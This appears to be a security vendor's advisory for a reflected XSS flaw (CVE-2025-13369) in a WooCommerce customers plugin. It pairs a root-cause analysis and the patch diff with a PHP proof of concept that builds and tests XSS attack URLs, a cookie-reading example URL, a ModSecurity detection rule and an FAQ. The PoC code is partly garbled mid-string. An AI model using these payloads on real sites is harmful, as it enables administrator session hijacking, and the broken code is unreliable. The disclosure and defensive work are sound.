“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-13369:nThis vulnerability is a reflected cross-site scripting (XSS) flaw in the Premmerce WooCommerce Customers Manager WordPress plugin. The vulnerability affects all plugin versions up to and including 1.1.14, allowing unauthenticated attackers to inject arbitrary JavaScript via specific filter parameters. The CVSS score of 6.1 reflects a medium severity attack requiring user interaction for successful exploitation.nnRoot Cause:nThe vulnerability exists in the plugin’s user filtering functionality. The Admin.php file’s `renderFilters()` method (lines 125-136) and `filterUsers()` method (lines 55-68) directly assign unsanitized GET parameter values to template variables without proper validation. The affected parameters are ‘money_spent_from’, ‘money_spent_to’, ‘registered_from’, and ‘registered_to’. The vulnerable code uses `array_replace($defaults, $_GET)` to merge user input with defaults, then passes these raw values directly to the template engine without sanitization.nnExploitation:nAttackers can craft malicious URLs targeting the WordPress users.php admin page with the plugin’s filter parameters. A typical attack URL would be: `/wp-admin/users.php?money_spent_from=alert(document.cookie)`. The attacker would need to trick an administrator into clicking the malicious link while authenticated. The injected script executes in the administrator’s browser context, allowing session hijacking, administrative actions, or further site compromise.nnPatch Analysis:nThe patch in version 1.1.15 replaces the vulnerable `array_replace()` approach with direct parameter validation using `sanitize_text_field()`. In the `filterUsers()` method (lines 55-58), each GET parameter is now checked with `isset()` and sanitized before assignment. The `renderFilters()` method (lines 116-121) applies the same sanitization pattern. Additionally, the template file (views/admin/filter.php) now uses `esc_attr()` and `esc_html()` functions for output escaping on all user-controlled variables, providing defense-in-depth protection.nnImpact:nSuccessful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can lead to complete site compromise through administrative account takeover, plugin/theme installation, content modification, or data exfiltration. The reflected nature requires social engineering, but the high privilege level of the target makes this a significant security risk for WordPress sites using the vulnerable plugin.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-13369 – Premmerce WooCommerce Customers Manager <= 1.1.14 – Reflected Cross-Site Scriptingnn ‘”>alert(document.domain)’,n ‘money_spent_to’ => ‘” onmouseover=”alert(1)’,n ‘registered_from’ => ‘2025-01-01’>‘,n ‘registered_to’ => ‘2025-12-31\’> $payload) {n $attack_url = $target_url . ‘?’ . $param . ‘=’ . urlencode($payload);n n echo “Attack URL for parameter ‘{$param}’:\n”;n echo $attack_url . “\n\n”;n n // Optional: Test the URL with cURL to verify it returns the payloadn $ch = curl_init();n curl_setopt($ch, CURLOPT_URL, $attack_url);n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);n n $response = curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n n if ($http_code == 200) {n // Check if payload appears in response (basic detection)n if (strpos($response, htmlspecialchars_decode($payload)) !== false) {n echo “[+] Payload found in response for {$param}\n”;n } else {n echo “[-] Payload not found in response for {$param}\n”;n }n } else {n echo “[-] HTTP {$http_code} received for {$param}\n”;n }n n curl_close($ch);n echo str_repeat(“-“, 80) . “\n\n”;n}nn// Example of a complete attack URL with multiple parametersn$full_attack_url = $target_url . ‘?’ . n ‘money_spent_from=’ . urlencode($payloads[‘money_spent_from’]) . ‘&’ .n ‘money_spent_to=’ . urlencode($payloads[‘money_spent_to’]);nnecho “Complete attack URL with multiple parameters:\n”;necho $full_attack_url . “\n”;nn// Note: Actual exploitation requires the victim to be logged in as adminn// and click the malicious link. The payload will execute in their browser.n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-13369n# Virtual patch for reflected XSS in Premmerce WooCommerce Customers Manager pluginn# Targets the specific vulnerable parameters in the WordPress admin users.php pagennSecRule REQUEST_URI “@rx /wp-admin/users\.php$” \n “id:202513369,phase:2,deny,status:403,chain,msg:’CVE-2025-13369: Reflected XSS in Premmerce WooCommerce Customers Manager’,severity:’CRITICAL’,tag:’CVE-2025-13369′,tag:’wordpress’,tag:’plugin’,tag:’xss’,tag:’atomic-edge'”n SecRule ARGS_GET:”@rx ^(money_spent_from|money_spent_to|registered_from|registered_to)$” \n “@rx [\”‘]|(?i)(javascript:|on\w+\s*=)” \n “t:lowercase,t:urlDecodeUni,t:htmlEntityDecode,chain”n SecRule &ARGS_GET:”@rx ^(money_spent_from|money_spent_to|registered_from|registered_to)$” “@ge 1″”
}
“`

CVE-2025-13369: Premmerce WooCommerce Customers Manager <= 1.1.14 – Reflected Cross-Site Scripting (woo-customers-manager)
CVE-2025-13369
woo-customers-manager
1.1.14
1.1.15
Analysis Overview
Differential between vulnerable and patched code
--- a/woo-customers-manager/premmerce-extended-users.php
+++ b/woo-customers-manager/premmerce-extended-users.php
@@ -12,7 +12,7 @@
* Plugin Name: Premmerce WooCommerce Customers Manager
* Plugin URI: https://premmerce.com/woocommerce-customers-manager/
* Description: This plugin extends the standard user list and the edit user page in WordPress and adds the customer data from WooCommerce.
- * Version: 1.1.14
+ * Version: 1.1.15
* Author: Premmerce
* Author URI: https://premmerce.com/
* License: GPL-2.0+
@@ -21,7 +21,7 @@
* Domain Path: /languages
*
* WC requires at least: 3.0.0
- * WC tested up to: 7.3.0
+ * WC tested up to: 6.3.0
*/
// If this file is called directly, abort.
--- a/woo-customers-manager/src/Admin/Admin.php
+++ b/woo-customers-manager/src/Admin/Admin.php
@@ -55,19 +55,10 @@
$metaQuery = array();
$dateQuery = array();
- $defaults = array(
- 'money_spent_from' => '',
- 'money_spent_to' => '',
- 'registered_from' => null,
- 'registered_to' => null,
- );
-
- $defaults = array_replace($defaults, $_GET);
-
- $moneySpentFrom = $defaults['money_spent_from'];
- $moneySpentTo = $defaults['money_spent_to'];
- $registeredFrom = (bool)strtotime($defaults['registered_from']) ? $defaults['registered_from'] : null;
- $registeredTo = (bool)strtotime($defaults['registered_to']) ? $defaults['registered_to'] : null;
+ $moneySpentFrom = isset($_GET['money_spent_from']) ? sanitize_text_field($_GET['money_spent_from']) : '';
+ $moneySpentTo = isset($_GET['money_spent_to']) ? sanitize_text_field($_GET['money_spent_to']) : '';
+ $registeredFrom = isset($_GET['registered_from']) && strtotime($_GET['registered_from']) ? sanitize_text_field($_GET['registered_from']) : null;
+ $registeredTo = isset($_GET['registered_to']) && strtotime($_GET['registered_to']) ? sanitize_text_field($_GET['registered_to']) : null;
$value = null;
$compare = null;
@@ -125,20 +116,11 @@
public function renderFilters($position)
{
if ($position == 'top') {
- $defaults = array(
- 'money_spent_from' => null,
- 'money_spent_to' => null,
- 'registered_from' => null,
- 'registered_to' => null,
- );
-
- $defaults = array_replace($defaults, $_GET);
-
$filters = array(
- 'registered_from' => $defaults['registered_from'],
- 'registered_to' => $defaults['registered_to'],
- 'money_spent_from' => $defaults['money_spent_from'],
- 'money_spent_to' => $defaults['money_spent_to'],
+ 'registered_from' => isset($_GET['registered_from']) ? sanitize_text_field($_GET['registered_from']) : '',
+ 'registered_to' => isset($_GET['registered_to']) ? sanitize_text_field($_GET['registered_to']) : '',
+ 'money_spent_from' => isset($_GET['money_spent_from']) ? sanitize_text_field($_GET['money_spent_from']) : '',
+ 'money_spent_to' => isset($_GET['money_spent_to']) ? sanitize_text_field($_GET['money_spent_to']) : '',
);
$this->fileManager->includeTemplate('admin/filter.php', $filters);
--- a/woo-customers-manager/src/ExtendedUsersPlugin.php
+++ b/woo-customers-manager/src/ExtendedUsersPlugin.php
@@ -36,6 +36,7 @@
add_action('init', array($this, 'loadTextDomain'));
add_action('admin_init', array($this, 'checkRequirePlugins'));
+
}
/**
@@ -74,6 +75,7 @@
$this->notifier->push($error, AdminNotifier::ERROR, false);
}
}
+
}
/**
@@ -83,6 +85,7 @@
*/
private function validateRequiredPlugins()
{
+
$plugins = array();
if (!function_exists('is_plugin_active')) {
--- a/woo-customers-manager/vendor/autoload.php
+++ b/woo-customers-manager/vendor/autoload.php
@@ -14,12 +14,9 @@
echo $err;
}
}
- trigger_error(
- $err,
- E_USER_ERROR
- );
+ throw new RuntimeException($err);
}
require_once __DIR__ . '/composer/autoload_real.php';
-return ComposerAutoloaderInit4c5e63048c2b590dc3769d87bd53c36f::getLoader();
+return ComposerAutoloaderInit7159c027e6041dede8dc416bd2a50dca::getLoader();
--- a/woo-customers-manager/vendor/composer/ClassLoader.php
+++ b/woo-customers-manager/vendor/composer/ClassLoader.php
@@ -45,35 +45,34 @@
/** @var Closure(string):void */
private static $includeFile;
- /** @var ?string */
+ /** @var string|null */
private $vendorDir;
// PSR-4
/**
- * @var array[]
- * @psalm-var array<string, array<string, int>>
+ * @var array<string, array<string, int>>
*/
private $prefixLengthsPsr4 = array();
/**
- * @var array[]
- * @psalm-var array<string, array<int, string>>
+ * @var array<string, list<string>>
*/
private $prefixDirsPsr4 = array();
/**
- * @var array[]
- * @psalm-var array<string, string>
+ * @var list<string>
*/
private $fallbackDirsPsr4 = array();
// PSR-0
/**
- * @var array[]
- * @psalm-var array<string, array<string, string[]>>
+ * List of PSR-0 prefixes
+ *
+ * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+ *
+ * @var array<string, array<string, list<string>>>
*/
private $prefixesPsr0 = array();
/**
- * @var array[]
- * @psalm-var array<string, string>
+ * @var list<string>
*/
private $fallbackDirsPsr0 = array();
@@ -81,8 +80,7 @@
private $useIncludePath = false;
/**
- * @var string[]
- * @psalm-var array<string, string>
+ * @var array<string, string>
*/
private $classMap = array();
@@ -90,21 +88,20 @@
private $classMapAuthoritative = false;
/**
- * @var bool[]
- * @psalm-var array<string, bool>
+ * @var array<string, bool>
*/
private $missingClasses = array();
- /** @var ?string */
+ /** @var string|null */
private $apcuPrefix;
/**
- * @var self[]
+ * @var array<string, self>
*/
private static $registeredLoaders = array();
/**
- * @param ?string $vendorDir
+ * @param string|null $vendorDir
*/
public function __construct($vendorDir = null)
{
@@ -113,7 +110,7 @@
}
/**
- * @return string[]
+ * @return array<string, list<string>>
*/
public function getPrefixes()
{
@@ -125,8 +122,7 @@
}
/**
- * @return array[]
- * @psalm-return array<string, array<int, string>>
+ * @return array<string, list<string>>
*/
public function getPrefixesPsr4()
{
@@ -134,8 +130,7 @@
}
/**
- * @return array[]
- * @psalm-return array<string, string>
+ * @return list<string>
*/
public function getFallbackDirs()
{
@@ -143,8 +138,7 @@
}
/**
- * @return array[]
- * @psalm-return array<string, string>
+ * @return list<string>
*/
public function getFallbackDirsPsr4()
{
@@ -152,8 +146,7 @@
}
/**
- * @return string[] Array of classname => path
- * @psalm-return array<string, string>
+ * @return array<string, string> Array of classname => path
*/
public function getClassMap()
{
@@ -161,8 +154,7 @@
}
/**
- * @param string[] $classMap Class to filename map
- * @psalm-param array<string, string> $classMap
+ * @param array<string, string> $classMap Class to filename map
*
* @return void
*/
@@ -179,24 +171,25 @@
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
- * @param string $prefix The prefix
- * @param string[]|string $paths The PSR-0 root directories
- * @param bool $prepend Whether to prepend the directories
+ * @param string $prefix The prefix
+ * @param list<string>|string $paths The PSR-0 root directories
+ * @param bool $prepend Whether to prepend the directories
*
* @return void
*/
public function add($prefix, $paths, $prepend = false)
{
+ $paths = (array) $paths;
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
- (array) $paths,
+ $paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
- (array) $paths
+ $paths
);
}
@@ -205,19 +198,19 @@
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
- $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+ $this->prefixesPsr0[$first][$prefix] = $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
- (array) $paths,
+ $paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
- (array) $paths
+ $paths
);
}
}
@@ -226,9 +219,9 @@
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this namespace.
*
- * @param string $prefix The prefix/namespace, with trailing '\'
- * @param string[]|string $paths The PSR-4 base directories
- * @param bool $prepend Whether to prepend the directories
+ * @param string $prefix The prefix/namespace, with trailing '\'
+ * @param list<string>|string $paths The PSR-4 base directories
+ * @param bool $prepend Whether to prepend the directories
*
* @throws InvalidArgumentException
*
@@ -236,17 +229,18 @@
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
+ $paths = (array) $paths;
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
- (array) $paths,
+ $paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
- (array) $paths
+ $paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -256,18 +250,18 @@
throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
- $this->prefixDirsPsr4[$prefix] = (array) $paths;
+ $this->prefixDirsPsr4[$prefix] = $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
- (array) $paths,
+ $paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
- (array) $paths
+ $paths
);
}
}
@@ -276,8 +270,8 @@
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
- * @param string $prefix The prefix
- * @param string[]|string $paths The PSR-0 base directories
+ * @param string $prefix The prefix
+ * @param list<string>|string $paths The PSR-0 base directories
*
* @return void
*/
@@ -294,8 +288,8 @@
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
- * @param string $prefix The prefix/namespace, with trailing '\'
- * @param string[]|string $paths The PSR-4 base directories
+ * @param string $prefix The prefix/namespace, with trailing '\'
+ * @param list<string>|string $paths The PSR-4 base directories
*
* @throws InvalidArgumentException
*
@@ -481,9 +475,9 @@
}
/**
- * Returns the currently registered loaders indexed by their corresponding vendor directories.
+ * Returns the currently registered loaders keyed by their corresponding vendor directories.
*
- * @return self[]
+ * @return array<string, self>
*/
public static function getRegisteredLoaders()
{
--- a/woo-customers-manager/vendor/composer/InstalledVersions.php
+++ b/woo-customers-manager/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
class InstalledVersions
{
/**
+ * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+ * @internal
+ */
+ private static $selfDir = null;
+
+ /**
* @var mixed[]|null
* @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
*/
private static $installed;
/**
+ * @var bool
+ */
+ private static $installedIsLocalDir;
+
+ /**
* @var bool|null
*/
private static $canGetVendors;
@@ -98,7 +109,7 @@
{
foreach (self::getInstalled() as $installed) {
if (isset($installed['versions'][$packageName])) {
- return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+ return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
}
}
@@ -119,7 +130,7 @@
*/
public static function satisfies(VersionParser $parser, $packageName, $constraint)
{
- $constraint = $parser->parseConstraints($constraint);
+ $constraint = $parser->parseConstraints((string) $constraint);
$provided = $parser->parseConstraints(self::getVersionRanges($packageName));
return $provided->matches($constraint);
@@ -309,6 +320,24 @@
{
self::$installed = $data;
self::$installedByVendor = array();
+
+ // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+ // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+ // so we have to assume it does not, and that may result in duplicate data being returned when listing
+ // all installed packages for example
+ self::$installedIsLocalDir = false;
+ }
+
+ /**
+ * @return string
+ */
+ private static function getSelfDir()
+ {
+ if (self::$selfDir === null) {
+ self::$selfDir = strtr(__DIR__, '\', '/');
+ }
+
+ return self::$selfDir;
}
/**
@@ -322,17 +351,27 @@
}
$installed = array();
+ $copiedLocalDir = false;
if (self::$canGetVendors) {
+ $selfDir = self::getSelfDir();
foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+ $vendorDir = strtr($vendorDir, '\', '/');
if (isset(self::$installedByVendor[$vendorDir])) {
$installed[] = self::$installedByVendor[$vendorDir];
} elseif (is_file($vendorDir.'/composer/installed.php')) {
- $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
- if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
- self::$installed = $installed[count($installed) - 1];
+ /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+ $required = require $vendorDir.'/composer/installed.php';
+ self::$installedByVendor[$vendorDir] = $required;
+ $installed[] = $required;
+ if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+ self::$installed = $required;
+ self::$installedIsLocalDir = true;
}
}
+ if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+ $copiedLocalDir = true;
+ }
}
}
@@ -340,12 +379,17 @@
// only require the installed.php file if this file is loaded from its dumped location,
// and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
if (substr(__DIR__, -8, 1) !== 'C') {
- self::$installed = require __DIR__ . '/installed.php';
+ /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+ $required = require __DIR__ . '/installed.php';
+ self::$installed = $required;
} else {
self::$installed = array();
}
}
- $installed[] = self::$installed;
+
+ if (self::$installed !== array() && !$copiedLocalDir) {
+ $installed[] = self::$installed;
+ }
return $installed;
}
--- a/woo-customers-manager/vendor/composer/autoload_real.php
+++ b/woo-customers-manager/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@
// autoload_real.php @generated by Composer
-class ComposerAutoloaderInit4c5e63048c2b590dc3769d87bd53c36f
+class ComposerAutoloaderInit7159c027e6041dede8dc416bd2a50dca
{
private static $loader;
@@ -22,12 +22,12 @@
return self::$loader;
}
- spl_autoload_register(array('ComposerAutoloaderInit4c5e63048c2b590dc3769d87bd53c36f', 'loadClassLoader'), true, true);
+ spl_autoload_register(array('ComposerAutoloaderInit7159c027e6041dede8dc416bd2a50dca', 'loadClassLoader'), true, true);
self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
- spl_autoload_unregister(array('ComposerAutoloaderInit4c5e63048c2b590dc3769d87bd53c36f', 'loadClassLoader'));
+ spl_autoload_unregister(array('ComposerAutoloaderInit7159c027e6041dede8dc416bd2a50dca', 'loadClassLoader'));
require __DIR__ . '/autoload_static.php';
- call_user_func(ComposerAutoloadComposerStaticInit4c5e63048c2b590dc3769d87bd53c36f::getInitializer($loader));
+ call_user_func(ComposerAutoloadComposerStaticInit7159c027e6041dede8dc416bd2a50dca::getInitializer($loader));
$loader->register(true);
--- a/woo-customers-manager/vendor/composer/autoload_static.php
+++ b/woo-customers-manager/vendor/composer/autoload_static.php
@@ -4,10 +4,10 @@
namespace ComposerAutoload;
-class ComposerStaticInit4c5e63048c2b590dc3769d87bd53c36f
+class ComposerStaticInit7159c027e6041dede8dc416bd2a50dca
{
public static $prefixLengthsPsr4 = array (
- 'P' =>
+ 'P' =>
array (
'Premmerce\SDK\' => 14,
'Premmerce\ExtendedUsers\' => 24,
@@ -15,11 +15,11 @@
);
public static $prefixDirsPsr4 = array (
- 'Premmerce\SDK\' =>
+ 'Premmerce\SDK\' =>
array (
0 => __DIR__ . '/..' . '/premmerce/wordpress-sdk/src',
),
- 'Premmerce\ExtendedUsers\' =>
+ 'Premmerce\ExtendedUsers\' =>
array (
0 => __DIR__ . '/../..' . '/src',
),
@@ -32,9 +32,9 @@
public static function getInitializer(ClassLoader $loader)
{
return Closure::bind(function () use ($loader) {
- $loader->prefixLengthsPsr4 = ComposerStaticInit4c5e63048c2b590dc3769d87bd53c36f::$prefixLengthsPsr4;
- $loader->prefixDirsPsr4 = ComposerStaticInit4c5e63048c2b590dc3769d87bd53c36f::$prefixDirsPsr4;
- $loader->classMap = ComposerStaticInit4c5e63048c2b590dc3769d87bd53c36f::$classMap;
+ $loader->prefixLengthsPsr4 = ComposerStaticInit7159c027e6041dede8dc416bd2a50dca::$prefixLengthsPsr4;
+ $loader->prefixDirsPsr4 = ComposerStaticInit7159c027e6041dede8dc416bd2a50dca::$prefixDirsPsr4;
+ $loader->classMap = ComposerStaticInit7159c027e6041dede8dc416bd2a50dca::$classMap;
}, null, ClassLoader::class);
}
--- a/woo-customers-manager/vendor/composer/installed.php
+++ b/woo-customers-manager/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'premmerce/woo-customers-manager',
- 'pretty_version' => 'dev-master',
- 'version' => 'dev-master',
- 'reference' => 'e468bed801743745195dd0ccc0a66e8b970cab05',
+ 'pretty_version' => '1.1.15',
+ 'version' => '1.1.15.0',
+ 'reference' => '83d03bd3664cb5ad4198b5c10e8e62ee2c23fd25',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,9 +11,9 @@
),
'versions' => array(
'premmerce/woo-customers-manager' => array(
- 'pretty_version' => 'dev-master',
- 'version' => 'dev-master',
- 'reference' => 'e468bed801743745195dd0ccc0a66e8b970cab05',
+ 'pretty_version' => '1.1.15',
+ 'version' => '1.1.15.0',
+ 'reference' => '83d03bd3664cb5ad4198b5c10e8e62ee2c23fd25',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/woo-customers-manager/views/admin/filter.php
+++ b/woo-customers-manager/views/admin/filter.php
@@ -10,29 +10,29 @@
<div class="prm-users-filter__item">
<div class="prm-users-filter__label">
- <?php _e('Filter by date', 'woo-customers-manager'); ?>
+ <?php esc_html_e('Filter by date', 'woo-customers-manager'); ?>
</div>
<div class="prm-users-filter__fields-group">
<input class="prm-users-filter__field"
type="date"
name="registered_from"
id="registered_from"
- value="<?= $registered_from; ?>"
- placeholder="<?= __('Registered from', 'woo-customers-manager'); ?>"
+ value="<?= esc_attr($registered_from); ?>"
+ placeholder="<?= esc_attr__('Registered from', 'woo-customers-manager'); ?>"
/>
<input class="prm-users-filter__field"
type="date"
name="registered_to"
id="registered_to"
- value="<?= $registered_to; ?>"
- placeholder="<?= __('Registered to', 'woo-customers-manager'); ?>"
+ value="<?= esc_attr($registered_to); ?>"
+ placeholder="<?= esc_attr__('Registered to', 'woo-customers-manager'); ?>"
/>
</div>
</div>
<div class="prm-users-filter__item">
<div class="prm-users-filter__label">
- <?= __('Filter by price', 'woo-customers-manager'); ?>
+ <?= esc_html__('Filter by price', 'woo-customers-manager'); ?>
</div>
<div class="prm-users-filter__fields-group">
<input class="prm-users-filter__field"
@@ -40,8 +40,8 @@
name="money_spent_from"
id="money_spent_from"
step="any"
- value="<?= $money_spent_from; ?>"
- placeholder="<?= __('Money spent from', 'woo-customers-manager'); ?>"
+ value="<?= esc_attr($money_spent_from); ?>"
+ placeholder="<?= esc_attr__('Money spent from', 'woo-customers-manager'); ?>"
/>
<input class="prm-users-filter__field"
@@ -49,8 +49,8 @@
name="money_spent_to"
id="money_spent_to"
step="any"
- value="<?= $money_spent_to; ?>"
- placeholder="<?= __('Money spent to', 'woo-customers-manager'); ?>"
+ value="<?= esc_attr($money_spent_to); ?>"
+ placeholder="<?= esc_attr__('Money spent to', 'woo-customers-manager'); ?>"
/>
</div>
</div>
@@ -58,8 +58,8 @@
<div class="prm-users-filter__item">
<div class="prm-users-filter__fields-group">
<input class="prm-users-filter__field button" type="submit"
- value="<?= __('Filter', 'woo-customers-manager'); ?>">
- <a class="button prm-users-filter__field" href="users.php"><?= __('Reset filter', 'woo-customers-manager'); ?></a>
+ value="<?= esc_attr__('Filter', 'woo-customers-manager'); ?>">
+ <a class="button prm-users-filter__field" href="users.php"><?= esc_html__('Reset filter', 'woo-customers-manager'); ?></a>
</div>
</div>
--- a/woo-customers-manager/views/admin/user-profile.php
+++ b/woo-customers-manager/views/admin/user-profile.php
@@ -10,7 +10,7 @@
<tr>
<th><label><?php _e('Registered','woo-customers-manager'); ?></label></th>
<td>
- <?php echo $user->data->user_registered; ?>
+ <?php echo esc_html($user->data->user_registered); ?>
</td>
</tr>
</tbody>
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
Frequently Asked Questions
What is CVE-2025-13369?
Overview of the vulnerabilityCVE-2025-13369 is a reflected cross-site scripting (XSS) vulnerability found in the Premmerce WooCommerce Customers Manager plugin for WordPress. It allows unauthenticated attackers to inject arbitrary JavaScript into web pages by exploiting insufficient input sanitization in specific GET parameters.
Which versions of the plugin are affected?
Identifying vulnerable versionsThe vulnerability affects all versions of the Premmerce WooCommerce Customers Manager plugin up to and including version 1.1.14. Users running version 1.1.15 or later are not affected.
How can I check if my site is vulnerable?
Verifying plugin versionTo check if your site is vulnerable, verify the version of the Premmerce WooCommerce Customers Manager plugin installed on your WordPress site. If it is version 1.1.14 or earlier, your site is at risk.
What are the potential risks of this vulnerability?
Understanding the impactExploitation of this vulnerability can allow attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can lead to session hijacking, unauthorized administrative actions, or complete site compromise.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability exists due to the plugin’s failure to properly sanitize user input from certain GET parameters. Attackers can craft malicious URLs that, when clicked by an administrator, execute the injected scripts in their browser.
What steps should I take to mitigate this vulnerability?
Recommended actionsTo mitigate this vulnerability, update the Premmerce WooCommerce Customers Manager plugin to version 1.1.15 or later. Regularly check for updates and apply security patches promptly.
What does the CVSS score of 6.1 indicate?
Understanding severity ratingsThe CVSS score of 6.1 indicates a medium severity level for this vulnerability. This means that while it requires user interaction for exploitation, the potential impact is significant due to the privileges of the target.
What is a proof of concept (PoC) for this vulnerability?
Demonstrating the issueA proof of concept for CVE-2025-13369 shows how an attacker can craft a malicious URL with the vulnerable parameters. When an administrator clicks the link, the injected JavaScript executes, demonstrating the XSS flaw.
How does the patch in version 1.1.15 address the vulnerability?
Details of the fixThe patch in version 1.1.15 replaces the vulnerable input handling with proper sanitization using the `sanitize_text_field()` function. This ensures that user input is validated before being used in the application, mitigating the risk of XSS.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf an immediate update is not possible, consider implementing a web application firewall (WAF) rule to block requests containing the vulnerable parameters. This can provide temporary protection until the plugin is updated.
Is it necessary to inform users about this vulnerability?
Communication best practicesYes, it is advisable to inform users, especially administrators, about this vulnerability. Transparency helps users understand the risks and encourages timely updates to maintain site security.
Where can I find more information about this vulnerability?
Additional resourcesMore information about CVE-2025-13369 can be found on the National Vulnerability Database (NVD) and security advisories related to the Premmerce WooCommerce Customers Manager plugin. Regularly check these resources for updates.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






